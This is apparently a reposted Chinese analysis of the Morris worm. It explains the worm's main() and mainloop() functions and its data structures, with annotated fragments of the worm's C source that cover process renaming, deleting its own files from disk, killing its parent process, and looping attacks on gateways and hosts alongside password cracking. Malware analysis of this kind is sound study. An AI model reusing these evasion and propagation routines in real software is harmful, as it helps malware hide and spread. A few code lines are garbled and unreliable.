Morris蠕虫总结
1. 概览
从整体上来看,morris蠕虫是C/S架构的,它的主要行为可以分为攻击、隐藏和保护三个部分。攻击部分是蠕虫最主要的部分,其大致由定位目标主机、利用系统漏洞、感染(攻击)目标主机几个步骤组成;而其中的感染(攻击)环节中利用的方法主要有三种:finger、sendmail、破解密码。而且,Morris蠕虫为了隐藏自己,使自己不易被发现和被分析,其主要运用了三种自我防卫技巧:换名、异或加密(对文件)、核心代码转储(将文件全部加密并存贮在内存中)。下面对morris蠕虫各主要行为的实现进行详细的分析。
2. Morris的main函数以及mainloop函数
2.1 main()函数
main函数是蠕虫程序的开始,它的运行标志着一只新蠕虫的诞生,标志着运行这只蠕虫的主机将开始对外进行攻击。main函数是由引导程序(bootstrap)引导运行的,它运行在已被蠕虫攻破(将要对其他机器进行攻击)的主机上。main函数的主要作用是进行系统设置,以便蠕虫
从本机开始下一阶段的攻击。在main函数中主要是进行了一些相关的设置和初始化工作,而具体的其他功能并没有在其中实现,下面是对main函数的一些分析和理解。
进入main函数,morris做的第一件事就是换名。这样使得它看起来会和正常的程序一样,不容易被发现。执行换名的代码如下:
strcpy(argv[0], XS("sh"));
然后它用time函数初始化随机数,并设置资源限制。这部分代码以及注释如下:
time(&key);
srandom(key);                      //key是随机数种子,但是好像在main函数中没有用到
rl.rlim_cur = 0;
rl.rlim_max = 0;
if (setrlimit(RLIMIT_CORE, &rl)) ?;  /*RLIMIT_CORE:设定最大的core文件,设置资源限制,在这里if后面没有语句,作者是何用意尚不明确*/   
signal(SIGPIPE, SIG_IGN);        /*第一个参数代表信号,第二个参数是接收到后的操作SIG_IGN 忽略参数signum指定的信号。*/
pid_arg = 0;                            //父进程的ID
cur_arg = 1;                            //作用不明,大致应该是表示当前主函数参数指针
if  (argc > 2 && strcmp(argv[cur_arg], XS("-p")) == 0) //"-p"是代表父进程ID
{    //如果main函数的参数多于2个,而且第二个字符串是父进程的ID
    pid_arg = atoi(argv[2]);      //把字符串转换成长整型数
    cur_arg += 2;                //cur_arg值为3,从第3个文件开始读入内存
}
然后它开始加载文件到内存当中,并做一些中初始化工作,在设置完成后,函数删除磁盘上的文件,以不留下痕迹。具体代码以及注释如下:
for(i = cur_arg; i < argc; i++)       //在成功读入一个文件后,将其从磁盘删除
{   
    if (loadobject(argv[i]) == 0) //将文件从磁盘读入内存
        exit(1);
    if (pid_arg)
        unlink(argv[i]);    //删除磁盘上文件
}
if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
/*对object数据结构进行检查*/
    exit(1); /*如果引导文件"l1.c"没有读入内存或者没有文件读入,退出程序。引导程序是下次攻击是必不可少的文件*/
最后main函数进行一些收尾工作,将删除磁盘上剩余的蠕虫文件的拷贝(由引导程序传送来),以及更改进程号(隐藏自己):
if (pid_arg)
{关机程序代码    //删除磁盘文件
    for(i = 0; i < 32; i++)
        close(i); //关闭在加载文件时打开的文件
    unlink(argv[0]);            //删除此文件
    unlink(XS("sh"));          //删除s件
    unlink(XS("/tmp/.dumb"));        //删除/tmp/.dumb文件
}
   
for (i = 1; i < argc; i++)
    for (j = 0;    argv[i][j]; j++)
        argv[i][j] = '\0'; //将参数列表清0,隐藏函数初始化的信息
if (if_init() == 0)        //初始化网卡接口,如果失败,程序退出
    exit(1);
if (pid_arg)
{                      //更改进程号,以便隐蔽的进行进一步工作
    if (pid_arg == getpgrp(getpid()))
        setpgrp(getpid(), getpid());
    kill(pid_arg, 9);
}
2.2 mainloop()函数
以上是对main函数的一些分析,其中有一些设置将在其他函数中用到。在main函数的最后,它调用了mainloop()函数,mainloop()函数体现了蠕虫的主要功能框架,是蠕虫的主要功能实现部分。其主要代码以及注释如下:
time(&key);
    srandom(key);
    time0 = key;//用time函数产生一个随机数,下面还用此来记录本程序已经运行的时间
if (hg() == 0 && hl() == 0) /*开始第一次攻击,其中hg()是对网关进行攻击,hl()是对主机所在网络进行攻击,如果攻击都没有成功,则用ha()对远程网络主机进行攻击*/
        ha();
checkother(); //检查一下是否有其他蠕虫已经在本主机上了,如果存在则其中一方退出
/
*在此蠕虫还有一个作用不明的函数(在此没有列出),发送一些数据包到Berkeley主站的11357端口,但是在Berkeley主站并没有发现相应的接受程序,而且这这个程序中存在bug,它本来设置了tcp socket却尝试去发送udp包,也许这是蠕虫作者为了迷惑我们,使我们以为蠕虫的服务器在Berkeley。*/
   
    /*下面是蠕虫的循环程序,蠕虫功能的实现部分*/
    while (1) //程序的主体循环
      {        //进入循环后的攻击顺序,与第一次尝试攻击的顺序不同
        cracksome(); //破解密码
            other_sleep(30); /*休眠30秒,去查看是否本机有其他的蠕虫入侵然后继续破解密码,如果存在其他的蠕虫,会造成重复攻击,对计算机资源有不必要的消耗*/
cracksome();//破解密码
        if (fork() > 0)//用fork()创建一个新进程,更改进程ID
                exit(0);
if (hg() == 0 && hi() == 0 && ha() == 0)
/*按照网关、本主机系统的联系列表、随机远程网关或主机的攻击顺序进行攻击,其中hi()是根据本机的系统列表进行攻击,如果都失败了,尝试h1()*/
                hl();
        other_sleep(120);/*在攻击后,用两分钟的时间去检查是否存在其他蠕虫,因为一个新感染的主机可能会尝试攻击本机*/
        time(&time1);//获取时间值
        if (time1 - time0 >= 60*60*12)
          /*如果蠕虫已经运行超过12小时了,则认为是网络被关闭或主机关机,则蠕虫重新初始化从头开始运行*/
h_clean();
        if (pleasequit && nextw > 0)
/*检查蠕虫是否已经完成了足够的工作,pleasequit变量是蠕虫是否在roll dice幸存的标志,nextw 非0表示蠕虫已经进行了密码破解工作,即成功的进行了一次攻击*/
            exit(0);
        }
以上是mainloop函数的主体程序。其大致的攻击顺序是:破解密码对漏洞进行攻击检查其他蠕虫检查蠕虫的效果(以及蠕虫是否生存标志)。正是这段程序使蠕虫可以主动传播。
3. Morris的主要数据结构
在整个蠕虫程序中,根据不同的需要,主要用到了5个数据结构。
3.1 host list
host list是用来存储计算机(所有可以到)的名称、状态和地址的。它是一个单链表结构,蠕虫可以动态的对其进行修改,添加新发现的主机。其中flag标志位用来标识主机的状态,主机有四种状态:网关(0x01)、系统列表中的主机(0x08)、已被感染(0x02)、不能感染(0x04)。状态位每12小时清理一次,将低优先权(不能被感染、一般主机)的主机记录删除,以保证链表的效率。其具体实现如下:
struct hst
{
    char *hostname;          /*主机名称*/
    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
    int o48[6];                    /* 网络地址*/
    int flag;                    /* 状态位*/
#define HST_HOSTEQUIV    8
#define HST_HOSTFOUR    4
#define HST_HOSTTWO    2
    struct hst *next;                /* 链表结构 */
};
3.2 objects
objects结构用来保存文件的拷贝。一个新蠕虫的开始,首先是远程主机上的引导程序将蠕虫源文件拷贝到目的主机的磁盘上,而后引导程序(bootstrap程序)读取磁盘文件使新蠕虫运行。而为了使蠕虫不被发现和分析,在新蠕虫开始运行后,会将磁盘上的蠕虫文件经过xorbuf()函数的加密后读入内存(就是objects结构,用一个object数组),并删除磁盘上的蠕虫文件。objects结构中包括了文件的名称(包括后缀名)、文件大小以及加密后的文件内容。这也说明了,蠕虫一开始并不一定在磁盘上存在文件。其具体实现如下:
    typedef struct
{
          char *name;
        unsigned long size;
        char *buf;
} object;

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。